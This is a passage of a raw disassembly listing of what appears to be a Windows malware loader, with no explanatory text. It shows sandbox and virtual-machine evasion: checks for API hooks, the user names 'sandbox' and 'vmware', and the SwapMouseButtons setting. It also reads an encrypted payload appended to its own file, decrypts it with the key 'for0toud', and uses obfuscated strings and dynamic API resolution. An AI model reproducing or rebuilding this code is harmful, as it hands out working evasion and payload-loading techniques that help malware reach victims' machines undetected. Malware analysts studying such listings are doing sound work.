edx mov eax, [ebp+var_4] movsx ecx, byte ptr [eax] cmp ecx, 0FFFFFFE8h jz short loc_402AEF mov edx, [ebp+var_4] movsx eax, byte ptr [edx] cmp eax, 0FFFFFFE9h jnz short loc_402AF9 loc_402AEF: ; CODE XREF: sub_4029B0+132j mov eax, 1 jmp loc_402C0C ; --------------------------------------------------------------------------- loc_402AF9: ; CODE XREF: sub_4029B0+13Dj mov ecx, dword_4052BC mov [ebp+var_4], ecx mov edx, [ebp+var_4] movsx eax, byte ptr [edx] cmp eax, 0FFFFFFE8h jz short loc_402B18 mov ecx, [ebp+var_4] movsx edx, byte ptr [ecx] cmp edx, 0FFFFFFE9h jnz short loc_402B22 loc_402B18: ; CODE XREF: sub_4029B0+15Bj mov eax, 1 jmp loc_402C0C ; --------------------------------------------------------------------------- loc_402B22: ; CODE XREF: sub_4029B0+166j mov eax, dword_4052E4 mov [ebp+var_4], eax mov ecx, [ebp+var_4] movsx edx, byte ptr [ecx] cmp edx, 0FFFFFFE8h jz short loc_402B40 mov eax, [ebp+var_4] movsx ecx, byte ptr [eax] cmp ecx, 0FFFFFFE9h jnz short loc_402B4A loc_402B40: ; CODE XREF: sub_4029B0+183j mov eax, 1 jmp loc_402C0C ; --------------------------------------------------------------------------- loc_402B4A: ; CODE XREF: sub_4029B0+18Ej mov edx, dword_4052D8 mov [ebp+var_4], edx mov eax, [ebp+var_4] movsx ecx, byte ptr [eax] cmp ecx, 0FFFFFFE8h jz short loc_402B69 mov edx, [ebp+var_4] movsx eax, byte ptr [edx] cmp eax, 0FFFFFFE9h jnz short loc_402B73 loc_402B69: ; CODE XREF: sub_4029B0+1ACj mov eax, 1 jmp loc_402C0C ; --------------------------------------------------------------------------- loc_402B73: ; CODE XREF: sub_4029B0+1B7j mov ecx, dword_4052D0 mov [ebp+var_4], ecx mov edx, [ebp+var_4] movsx eax, byte ptr [edx] cmp eax, 0FFFFFFE8h jz short loc_402B92 mov ecx, [ebp+var_4] movsx edx, byte ptr [ecx] cmp edx, 0FFFFFFE9h jnz short loc_402B99 loc_402B92: ; CODE XREF: sub_4029B0+1D5j mov eax, 1 jmp short loc_402C0C ; --------------------------------------------------------------------------- loc_402B99: ; CODE XREF: sub_4029B0+1E0j mov eax, dword_405290 mov [ebp+var_4], eax mov ecx, [ebp+var_4] movsx edx, byte ptr [ecx] cmp edx, 0FFFFFFE8h jz short loc_402BB7 mov eax, [ebp+var_4] movsx ecx, byte ptr [eax] cmp ecx, 0FFFFFFE9h jnz short loc_402BBE loc_402BB7: ; CODE XREF: sub_4029B0+1FAj mov eax, 1 jmp short loc_402C0C ; --------------------------------------------------------------------------- loc_402BBE: ; CODE XREF: sub_4029B0+205j mov edx, dword_4052F4 mov [ebp+var_4], edx mov eax, [ebp+var_4] movsx ecx, byte ptr [eax] cmp ecx, 0FFFFFFE8h jz short loc_402BDD mov edx, [ebp+var_4] movsx eax, byte ptr [edx] cmp eax, 0FFFFFFE9h jnz short loc_402BE4 loc_402BDD: ; CODE XREF: sub_4029B0+220j mov eax, 1 jmp short loc_402C0C ; --------------------------------------------------------------------------- loc_402BE4: ; CODE XREF: sub_4029B0+22Bj mov ecx, dword_4052B8 mov [ebp+var_4], ecx mov edx, [ebp+var_4] movsx eax, byte ptr [edx] cmp eax, 0FFFFFFE8h jz short loc_402C03 mov ecx, [ebp+var_4] movsx edx, byte ptr [ecx] cmp edx, 0FFFFFFE9h jnz short loc_402C0A loc_402C03: ; CODE XREF: sub_4029B0+246j mov eax, 1 jmp short loc_402C0C ; --------------------------------------------------------------------------- loc_402C0A: ; CODE XREF: sub_4029B0+251j xor eax, eax loc_402C0C: ; CODE XREF: sub_4029B0+27j ; sub_4029B0+50j ... mov esp, ebp pop ebp retn sub_4029B0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402C10 proc near ; CODE XREF: start+A5p var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h hObject = dword ptr -0Ch var_8 = byte ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 30h mov [ebp+var_18], 0 mov [ebp+var_4], 0 push 0 ; lpModuleName call ds:GetModuleHandleA ; GetModuleHandleA mov [ebp+hObject], eax mov eax, [ebp+hObject] mov [ebp+var_30], eax mov ecx, [ebp+var_30] mov edx, [ecx+3Ch] mov eax, [ebp+hObject] lea ecx, [eax+edx+4] mov [ebp+var_20], ecx mov edx, [ebp+var_20] add edx, 14h mov [ebp+var_24], edx mov eax, [ebp+var_20] xor ecx, ecx mov cx, [eax+10h] mov edx, [ebp+var_24] add edx, ecx mov [ebp+var_1C], edx mov eax, [ebp+var_20] xor ecx, ecx mov cx, [eax+2] sub ecx, 1 imul ecx, 28h mov edx, [ebp+var_20] xor eax, eax mov ax, [edx+2] sub eax, 1 imul eax, 28h mov edx, [ebp+var_1C] mov ecx, [edx+ecx+10h] mov edx, [ebp+var_1C] add ecx, [edx+eax+14h] mov [ebp+var_10], ecx mov eax, [ebp+hObject] push eax ; hObject call ds:CloseHandle ; CloseHandle push 0 ; dwErrCode call ds:SetLastError push 0 push 80h push 3 push 0 push 1 push 80000000h mov ecx, [ebp+arg_0] push ecx call dword_4052C4 mov [ebp+var_2C], eax call ds:GetLastError test eax, eax jnz short loc_402CCC cmp [ebp+var_2C], 0FFFFFFFFh jnz short loc_402CD0 loc_402CCC: ; CODE XREF: sub_402C10+B4j xor al, al jmp short loc_402D4E ; --------------------------------------------------------------------------- loc_402CD0: ; CODE XREF: sub_402C10+BAj lea edx, [ebp+var_28] push edx mov eax, [ebp+var_2C] push eax call dword_4052CC mov ecx, [ebp+var_28] cmp ecx, [ebp+var_10] jbe short loc_402D41 mov edx, [ebp+var_28] sub edx, [ebp+var_10] mov [ebp+var_18], edx push 1 mov eax, [ebp+var_18] add eax, 1 push eax call sub_401000 add esp, 8 mov [ebp+var_14], eax push 0 push 0 mov ecx, [ebp+var_10] push ecx mov edx, [ebp+var_2C] push edx call dword_4052F8 push 0 lea eax, [ebp+var_8] push eax mov ecx, [ebp+var_18] push ecx mov edx, [ebp+var_14] push edx mov eax, [ebp+var_2C] push eax call dword_4052B0 mov ecx, [ebp+arg_4] mov edx, [ebp+var_14] mov [ecx], edx mov eax, [ebp+arg_8] mov ecx, [ebp+var_18] mov [eax], ecx mov [ebp+var_4], 1 loc_402D41: ; CODE XREF: sub_402C10+D4j mov edx, [ebp+var_2C] push edx ; hObject call ds:CloseHandle ; CloseHandle mov al, [ebp+var_4] loc_402D4E: ; CODE XREF: sub_402C10+BEj mov esp, ebp pop ebp retn sub_402C10 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402D60 proc near ; CODE XREF: sub_402E00+E1p ; sub_402E00+102p var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push edi mov edi, [ebp+arg_0] or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx add ecx, 0FFFFFFFFh mov [ebp+var_8], ecx push 1 mov eax, [ebp+var_8] add eax, 1 push eax call sub_401000 add esp, 8 mov [ebp+var_C], eax mov [ebp+var_4], 0 jmp short loc_402D9F ; --------------------------------------------------------------------------- loc_402D96: ; CODE XREF: sub_402D60:loc_402DE9j mov ecx, [ebp+var_4] add ecx, 1 mov [ebp+var_4], ecx loc_402D9F: ; CODE XREF: sub_402D60+34j mov edx, [ebp+var_4] cmp edx, [ebp+var_8] jge short loc_402DEB mov eax, [ebp+arg_0] add eax, [ebp+var_4] movsx ecx, byte ptr [eax] cmp ecx, 41h jl short loc_402DD9 mov edx, [ebp+arg_0] add edx, [ebp+var_4] movsx eax, byte ptr [edx] cmp eax, 5Ah jg short loc_402DD9 mov ecx, [ebp+arg_0] add ecx, [ebp+var_4] movsx edx, byte ptr [ecx] add edx, 20h mov eax, [ebp+var_C] add eax, [ebp+var_4] mov [eax], dl jmp short loc_402DE9 ; --------------------------------------------------------------------------- loc_402DD9: ; CODE XREF: sub_402D60+53j ; sub_402D60+61j mov ecx, [ebp+var_C] add ecx, [ebp+var_4] mov edx, [ebp+arg_0] add edx, [ebp+var_4] mov al, [edx] mov [ecx], al loc_402DE9: ; CODE XREF: sub_402D60+77j jmp short loc_402D96 ; --------------------------------------------------------------------------- loc_402DEB: ; CODE XREF: sub_402D60+45j mov eax, [ebp+var_C] pop edi mov esp, ebp pop ebp retn sub_402D60 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402E00 proc near ; CODE XREF: start:loc_40306Ap var_11C = dword ptr -11Ch var_118 = dword ptr -118h var_112 = byte ptr -112h var_111 = byte ptr -111h var_110 = dword ptr -110h var_10C = dword ptr -10Ch var_108 = dword ptr -108h var_104 = byte ptr -104h var_103 = byte ptr -103h push ebp mov ebp, esp sub esp, 11Ch push edi mov [ebp+var_108], 104h mov [ebp+var_104], 0 mov ecx, 40h xor eax, eax lea edi, [ebp+var_103] rep stosd stosw stosb lea eax, [ebp+var_108] push eax lea ecx, [ebp+var_104] push ecx call dword_4052E8 mov [ebp+var_10C], offset aCurrentuser ; "CurrentUser" lea edx, [ebp+var_104] mov [ebp+var_110], edx loc_402E57: ; CODE XREF: sub_402E00+A7j mov eax, [ebp+var_110] mov cl, [eax] mov [ebp+var_111], cl mov edx, [ebp+var_10C] cmp cl, [edx] jnz short loc_402EB5 cmp [ebp+var_111], 0 jz short loc_402EA9 mov eax, [ebp+var_110] mov cl, [eax+1] mov [ebp+var_112], cl mov edx, [ebp+var_10C] cmp cl, [edx+1] jnz short loc_402EB5 add [ebp+var_110], 2 add [ebp+var_10C], 2 cmp [ebp+var_112], 0 jnz short loc_402E57 loc_402EA9: ; CODE XREF: sub_402E00+76j mov [ebp+var_118], 0 jmp short loc_402EC0 ; --------------------------------------------------------------------------- loc_402EB5: ; CODE XREF: sub_402E00+6Dj ; sub_402E00+90j sbb eax, eax sbb eax, 0FFFFFFFFh mov [ebp+var_118], eax loc_402EC0: ; CODE XREF: sub_402E00+B3j mov ecx, [ebp+var_118] mov [ebp+var_11C], ecx cmp [ebp+var_11C], 0 jz short loc_402F17 push offset aSandbox ; "sandbox" lea edx, [ebp+var_104] push edx call sub_402D60 add esp, 4 push eax call sub_4028A0 add esp, 8 test eax, eax jnz short loc_402F17 push offset aVmware ; "vmware" lea eax, [ebp+var_104] push eax call sub_402D60 add esp, 4 push eax call sub_4028A0 add esp, 8 test eax, eax jz short loc_402F1B loc_402F17: ; CODE XREF: sub_402E00+D3j ; sub_402E00+F4j mov al, 1 jmp short loc_402F1D ; --------------------------------------------------------------------------- loc_402F1B: ; CODE XREF: sub_402E00+115j xor al, al loc_402F1D: ; CODE XREF: sub_402E00+119j pop edi mov esp, ebp pop ebp retn sub_402E00 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402F30 proc near ; CODE XREF: start:loc_403055p var_44 = dword ptr -44h var_40 = dword ptr -40h var_3A = byte ptr -3Ah var_39 = byte ptr -39h var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = byte ptr -28h var_24 = byte ptr -24h var_23 = byte ptr -23h var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 44h push edi mov [ebp+var_24], 0 mov ecx, 7 xor eax, eax lea edi, [ebp+var_23] rep stosd stosw stosb mov [ebp+var_2C], 1Fh mov [ebp+var_4], 1 mov [ebp+var_28], 1 lea eax, [ebp+var_30] push eax push offset aControlPanelMo ; "Control Panel\\Mouse" push 80000001h call dword_4052DC test eax, eax jnz loc_403005 lea ecx, [ebp+var_2C] push ecx lea edx, [ebp+var_24] push edx lea eax, [ebp+var_4] push eax push 0 push offset aSwapmousebutto ; "SwapMouseButtons" mov ecx, [ebp+var_30] push ecx call dword_4052A4 test eax, eax jnz short loc_402FFB mov [ebp+var_34], offset a0 ; "0" lea edx, [ebp+var_24] mov [ebp+var_38], edx loc_402FA6: ; CODE XREF: sub_402F30+A8j mov eax, [ebp+var_38] mov cl, [eax] mov [ebp+var_39], cl mov edx, [ebp+var_34] cmp cl, [edx] jnz short loc_402FE3 cmp [ebp+var_39], 0 jz short loc_402FDA mov eax, [ebp+var_38] mov cl, [eax+1] mov [ebp+var_3A], cl mov edx, [ebp+var_34] cmp cl, [edx+1] jnz short loc_402FE3 add [ebp+var_38], 2 add [ebp+var_34], 2 cmp [ebp+var_3A], 0 jnz short loc_402FA6 loc_402FDA: ; CODE XREF: sub_402F30+89j mov [ebp+var_40], 0 jmp short loc_402FEB ; --------------------------------------------------------------------------- loc_402FE3: ; CODE XREF: sub_402F30+83j ; sub_402F30+9Aj sbb eax, eax sbb eax, 0FFFFFFFFh mov [ebp+var_40], eax loc_402FEB: ; CODE XREF: sub_402F30+B1j mov ecx, [ebp+var_40] mov [ebp+var_44], ecx cmp [ebp+var_44], 0 jnz short loc_402FFB mov [ebp+var_28], 0 loc_402FFB: ; CODE XREF: sub_402F30+67j ; sub_402F30+C5j mov edx, [ebp+var_30] push edx call dword_4052EC loc_403005: ; CODE XREF: sub_402F30+42j mov al, [ebp+var_28] pop edi mov esp, ebp pop ebp retn sub_402F30 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame public start start proc near var_114 = dword ptr -114h var_110 = dword ptr -110h var_10C = byte ptr -10Ch var_10B = byte ptr -10Bh var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 114h push edi mov [ebp+var_10C], 0 mov ecx, 40h xor eax, eax lea edi, [ebp+var_10B] rep stosd stosw stosb mov [ebp+var_8], 0 call sub_402150 call sub_401D60 and eax, 0FFh test eax, eax jnz short loc_403055 or eax, 0FFFFFFFFh jmp loc_40311C ; --------------------------------------------------------------------------- loc_403055: ; CODE XREF: start+3Bj call sub_402F30 and eax, 0FFh test eax, eax jz short loc_40306A xor eax, eax jmp loc_40311C ; --------------------------------------------------------------------------- loc_40306A: ; CODE XREF: start+51j call sub_402E00 and eax, 0FFh test eax, eax jz short loc_40307F xor eax, eax jmp loc_40311C ; --------------------------------------------------------------------------- loc_40307F: ; CODE XREF: start+66j call sub_4029B0 test eax, eax jz short loc_40308F xor eax, eax jmp loc_40311C ; --------------------------------------------------------------------------- loc_40308F: ; CODE XREF: start+76j push 104h lea eax, [ebp+var_10C] push eax push 0 call dword_4052C0 lea ecx, [ebp+var_114] push ecx lea edx, [ebp+var_4] push edx lea eax, [ebp+var_10C] push eax call sub_402C10 add esp, 0Ch and eax, 0FFh test eax, eax jz short loc_40311A mov ecx, [ebp+var_114] push ecx mov edx, [ebp+var_4] push edx push offset aFor0toud ; "for0toud" call sub_401050 add esp, 0Ch mov [ebp+var_4], eax lea eax, [ebp+var_110] push eax mov ecx, [ebp+var_114] push ecx mov edx, [ebp+var_4] push edx call sub_4012B0 add esp, 0Ch mov [ebp+var_4], eax lea eax, [ebp+var_8] push eax ; int push offset String2 ; lpString2 mov ecx, [ebp+var_110] push ecx ; int mov edx, [ebp+var_4] push edx ; int call sub_401CF0 add esp, 10h loc_40311A: ; CODE XREF: start+B4j xor eax, eax loc_40311C: ; CODE XREF: start+40j start+55j ... pop edi mov esp, ebp pop ebp retn start endp ; --------------------------------------------------------------------------- align 100h _text ends ; Section 2. (virtual address 00004000) ; Virtual size : 00000128 ( 296.) ; Section size in file : 00001000 ( 4096.) ; Offset to raw data for section: 00004000 ; Flags 40000040: Data Readable ; Alignment : default ; ; Imports from KERNEL32.dll ; ; =========================================================================== ; Segment type: Externs ; _idata ; HGLOBAL __stdcall GlobalAlloc(UINT uFlags, SIZE_T dwBytes) extrn GlobalAlloc:dword ; CODE XREF: sub_401000+Fp ; DATA XREF: sub_401000+Fr ; HGLOBAL __stdcall GlobalFree(HGLOBAL hMem) extrn GlobalFree:dword ; CODE XREF: sub_401040+7p ; DATA XREF: sub_401040+7r ; LPSTR __stdcall lstrcatA(LPSTR lpString1, LPCSTR lpString2) extrn lstrcatA:dword ; CODE XREF: sub_4017A0+45p ; DATA XREF: sub_4017A0+45r ; HMODULE __stdcall LoadLibraryA(LPCSTR lpLibFileName) extrn LoadLibraryA:dword ; CODE XREF: sub_4018E0+12p ; sub_401D60+19p ... ; BOOL __stdcall FreeLibrary(HMODULE hLibModule) extrn FreeLibrary:dword ; CODE XREF: sub_401D60+3D6p ; DATA XREF: sub_401D60+3D6r ; FARPROC __stdcall GetProcAddress(HMODULE hModule, LPCSTR lpProcName) extrn GetProcAddress:dword ; CODE XREF: sub_401D60+39p ; sub_401D60+4Dp ... ; HMODULE __stdcall GetModuleHandleA(LPCSTR lpModuleName) extrn GetModuleHandleA:dword ; CODE XREF: sub_401D60+Bp ; sub_402C10+13p ; DATA XREF: ... ; DWORD __stdcall GetLastError() extrn GetLastError:dword ; CODE XREF: sub_402C10+ACp ; DATA XREF: sub_402C10+ACr ; void __stdcall SetLastError(DWORD dwErrCode) extrn SetLastError:dword ; CODE XREF: sub_402C10+87p ; DATA XREF: sub_402C10+87r ; BOOL __stdcall CloseHandle(HANDLE hObject) extrn CloseHandle:dword ; CODE XREF: sub_402C10+7Fp ; sub_402C10+135p ; DATA XREF: ... ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read _rdata segment para public 'DATA' use32 assume cs:_rdata ;org 404028h dd 0 dd 4054h, 2 dup(0) dd 411Ah, 4000h, 5 dup(0) dd 4080h, 408Eh, 409Ch, 40A8h, 40B8h, 40C6h, 40D8h, 40ECh dd 40FCh, 410Ch, 0 dd 6C4701F8h, 6C61626Fh, 6F6C6C41h, 1FF0063h, 626F6C47h dd 72466C61h, 6565h, 736C03BDh, 61637274h, 4174h, 6F4C0252h dd 694C6461h, 72617262h, 4179h, 724600F8h, 694C6565h, 72617262h dd 1A00079h, 50746547h, 41636F72h, 65726464h, 7373h, 6547017Fh dd 646F4D74h, 48656C75h, 6C646E61h, 4165h, 65470171h, 73614C74h dd 72724574h, 726Fh, 65530328h, 73614C74h, 72724574h, 726Fh dd 6C430034h, 4865736Fh, 6C646E61h, 454B0065h, 4C454E52h dd 642E3233h, 6C6Ch, 36h dup(0) _rdata ends ; Section 3. (virtual address 00005000) ; Virtual size : 00000301 ( 769.) ; Section size in file : 00001000 ( 4096.) ; Offset to raw data for section: 00005000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _data segment para public 'DATA' use32 assume cs:_data ;org 405000h aFor0toud db 'for0toud',0 ; DATA XREF: sub_402150+Co ; sub_402150+44o ... align 4 ; char ModuleName[] ModuleName db 'Ήι8―' ; DATA XREF: sub_401D60+6o ; sub_402150+7o ... dd 235A3818h, 84h ; char asc_405018[] asc_405018 db 'Ό' ; DATA XREF: sub_401D60+14o ; sub_402150+3Fo ... db 0F8h, 2Eh, 0ADh dd 7D0D7A11h, 0E06EF4C6h, 0 ; char ProcName[] ProcName db '' ; DATA XREF: sub_401D60+30o ; sub_402150+AFo ... db 0F4h, 2Eh, 0B7h dd 0E527701h, 0EF6DFC84h, 0 ; char aB[] aB db '' ; DATA XREF: sub_401D60+44o ; sub_402150+E7o ... db 0F4h, 2Eh, 0B7h dd 0E527701h, 0EF6DFC84h, 0C7F3h ; char aR[] aR db '' ; DATA XREF: sub_401D60+58o ; sub_402150+11Fo ... db 0F8h, 28h, 8Eh dd 234B721Bh, 0E06BD68Dh, 8BF1D3h, 0D0C1h ; char aNN[] aNN db 'κ',9,'' ; DATA XREF: sub_401D60+6Co ; sub_402150+157o ... dd 194E7719h, 0C375F581h, 0E8FECD0h, 7110F8D0h, 0 ; char aSq9j8[] aSq9j8 db 'ο9¦8' ; DATA XREF: sub_401D60+80o ; sub_402150+18Fo ... db 7Fh, 5Ch, 3Dh dd 7BE289h ; char aFq9v[] aFq9v db 'ο9’',0 ; DATA XREF: sub_401D60+94o ; sub_402150+1C7o ... db 73h, 6Eh, 3Dh dd 0FF67F387h, 0FEC5h ; char aR_0[] aR_0 db '' ; DATA XREF: sub_401D60+A8o ; sub_402150+1FFo ... db 0F8h, 28h, 97h dd 2E5B641Ch, 0E26DD38Ch, 1992DAC2h, 0 ; char aE[] aE db ' ' ; DATA XREF: sub_401D60+BCo ; sub_402150+237o ... db 0F8h, 3Dh, 0A7h dd 2C516424h, 0C171E38Dh, 1F85D2D3h, 0DDh ; char aB_0[] aB_0 db '' ; DATA XREF: sub_401D60+D0o ; sub_402150+26Fo ... db 0F4h, 2Eh, 0B7h dd 1E527701h, 0F570F59Dh, 0C7F3h ; char aB_1[] aB_1 db '' ; DATA XREF: sub_401D60+E4o ; sub_402150+2A7o ... db 0F4h, 2Eh, 0B7h dd 1F527701h, 0E976FF9Ah, 15AFCBD5h, 0 ; char aAq5[] aAq5 db 'ο5·' ; DATA XREF: sub_401D60+F8o ; sub_402150+2DFo ... dd 204C4611h, 0FF71F58Bh, 287DAFBh, 0E8D6h ; char aD[] aD db '' ; DATA XREF: sub_401D60+10Co ; sub_402150+317o ... db 0F8h, 28h, 97h dd 2E5B641Ch, 0E26DD38Ch, 1992DAC2h, 0 ; char aE_0[] aE_0 db ' ' ; DATA XREF: sub_401D60+120o ; sub_402150+34Fo ... db 0F8h, 2Fh, 0B6h dd 276A7319h, 0E863F59Ah, 0 ; char aF[] aF db '' ; DATA XREF: sub_401D60+134o ; sub_402150+387o ... db 0F1h, 33h, 0B0h dd 215F5E11h, 67FC8Ch ; char aG[] aG db '' ; DATA XREF: sub_401D60+148o ; sub_402150+3BFo ... db 0F8h, 2Eh, 0AEh dd 3B5F781Dh, 0E370C08Dh, 1E99DAD5h, 0 ; char aB_2[] aB_2 db '' ; DATA XREF: sub_401D60+15Co ; sub_402150+3F7o ... db 0F4h, 2Eh, 0B7h dd 9527701h, 67F59Ah ; char aD_1[] aD_1 db '' ; DATA XREF: sub_401D60+198o ; sub_402150+49Fo ... db 0F1h, 39h, 0A6h dd 4 ; char aD_0[] aD_0 db '' ; DATA XREF: sub_401D60+184o ; sub_402150+42Fo ... db 0F8h, 28h, 8Fh dd 235F751Bh, 0E96FF9BCh, 0 ; char aR_1[] aR_1 db '' ; DATA XREF: sub_401D60+170o ; sub_402150+467o ... db 0F8h, 28h, 8Fh dd 235F751Bh, 0E96FF9BCh, 0 ; char aEs0aNNuqM[] aEs0aNNuqM db ' ι0',1Bh,'{N=γqΞΓΩ',8,'Φ',0 ; DATA XREF: sub_401D60+1ACo ; sub_402150+4D7o ... align 4 ; char aEs0z[] aEs0z db ' ι0' ; DATA XREF: sub_401D60+1C0o ; sub_402150+50Fo ... dd 22517511h, 0FF67E298h, 0B9FFDC5h, 0DF4C2h ; char aEs0d[] aEs0d db ' ι0' ; DATA XREF: sub_401D60+1D4o ; sub_402150+547o ... dd 207D6211h, 0E970E085h, 283CCC5h, 6D10C6CAh, 7E5F3Ch dd 0FCD8B603h, 373h ; char aFq9v_0[] aFq9v_0 db 'ο9’',0 ; DATA XREF: sub_401D60+1E8o ; sub_402150+57Fo ... db 73h, 78h, 26h dd 43F584h ; char aE_1[] aE_1 db ' ' ; DATA XREF: sub_401D60+1FCo ; sub_402150+5B7o ... db 0F8h, 3Dh, 0A7h dd 2A527F32h, 0 ; char aR_2[] aR_2 db '' ; DATA XREF: sub_401D60+224o ; sub_402150+5EFo ... db 0F8h, 28h, 85h dd 1C5B7A1Dh, 0C967EA81h, 0CEh ; char aD_2[] aD_2 db '' ; DATA XREF: sub_401D60+210o ; sub_402150+627o ... db 0F8h, 28h, 85h dd 1F5B7A1Dh, 0F86CF987h, 0CDD3h ; char asc_4051E8[] asc_4051E8 db 'Ά' ; DATA XREF: sub_401D60+22o ; sub_402150+77o ... db 0F9h, 2Ah, 0A2h dd 7D0D7F04h, 0E06EF4C6h, 0 ; char aR_3[] aR_3 db '' ; DATA XREF: sub_401D60+238o ; sub_402150+65Fo ... db 0F8h, 28h, 96h dd 14C7307h, 0CD67FD89h, 0 ; char aE_2[] aE_2 db ' ' ; DATA XREF: sub_401D60+24Co ; sub_402150+697o ... db 0F8h, 3Bh, 8Ch dd 4507304h, 43E98Dh ; char aE_3[] aE_3 db ' ' ; DATA XREF: sub_401D60+260o ; sub_402150+6CFo ... db 0F8h, 3Bh, 92h dd 364C7301h, 0F96EF1BEh, 2C92FAD3h, 0 ; char aE_4[] aE_4 db ' ' ; DATA XREF: sub_401D60+274o ; sub_402150+707o ... db 0F8h, 3Bh, 80h dd 2A4D7918h, 7BF5A3h ; char LibFileName[] LibFileName db 'ntdll.dll',0 ; DATA XREF: sub_4018E0+Do align 10h aVmware db 'vmware',0 ; DATA XREF: sub_402E00+F6o align 4 aSandbox db 'sandbox',0 ; DATA XREF: sub_402E00+D5o aCurrentuser db 'CurrentUser',0 ; DATA XREF: sub_402E00+41o a0: ; DATA XREF: sub_402F30+69o unicode 0, <0>,0 aSwapmousebutto db 'SwapMouseButtons',0 ; DATA XREF: sub_402F30+56o align 4 aControlPanelMo db 'Control Panel\Mouse',0 ; DATA XREF: sub_402F30+30o dword_405288 dd 0 ; sub_401D60+1CFw ... dword_40528C dd 0 ; sub_401D60+B7w ... dword_405290 dd 0 ; sub_401A30+252r ... dword_405294 dd 0 ; sub_401D60+7Bw ... dword_405298 dd 0 ; sub_401D60+8Fw ... dword_40529C dd 0 ; sub_401D60+1E3w ... dword_4052A0 dd 0 ; sub_401D60+366r dword_4052A4 dd 0 ; sub_401D60+3C0r ... dword_4052A8 dd 0 ; sub_401D60+A3w ... dword_4052AC dd 0 ; sub_401D60+CBw ... dword_4052B0 dd 0 ; sub_401D60+393r ... dword_4052B4 dd 0 ; sub_401D60+DFw ... dword_4052B8 dd 0 ; sub_401D60+16Bw ... dword_4052BC dd 0 ; sub_401D60+F3w ... dword_4052C0 dd 0 ; sub_401D60+67w ... dword_4052C4 dd 0 ; sub_401D60+38Ar ... dword_4052C8 dd 0 ; sub_401D60+35Dr dword_4052CC dd 0 ; sub_401D60+3A5r ... dword_4052D0 dd 0 ; sub_401D60+12Fw ... dword_4052D4 dd 0 ; sub_401D60+36Fr dword_4052D8 dd 0 ; sub_401D60+11Bw ... dword_4052DC dd 0 ; sub_401D60+3B7r ... dword_4052E0 dd 0 ; sub_401A30+10Er ... dword_4052E4 dd 0 ; sub_401A30+1D0r ... dword_4052E8 dd 0 ; sub_401D60+3AEr ... dword_4052EC dd 0 ; sub_401D60+3C9r ... dword_4052F0 dd 0 ; sub_401D60+354r dword_4052F4 dd 0 ; sub_401A30+27Ar ... dword_4052F8 dd 0 ; sub_401D60+39Cr ... dword_4052FC dd 0 ; sub_401D60+3Fw ... ; char String2[] String2 dd 40h dup(0) ; DATA XREF: start+F2o _data ends end start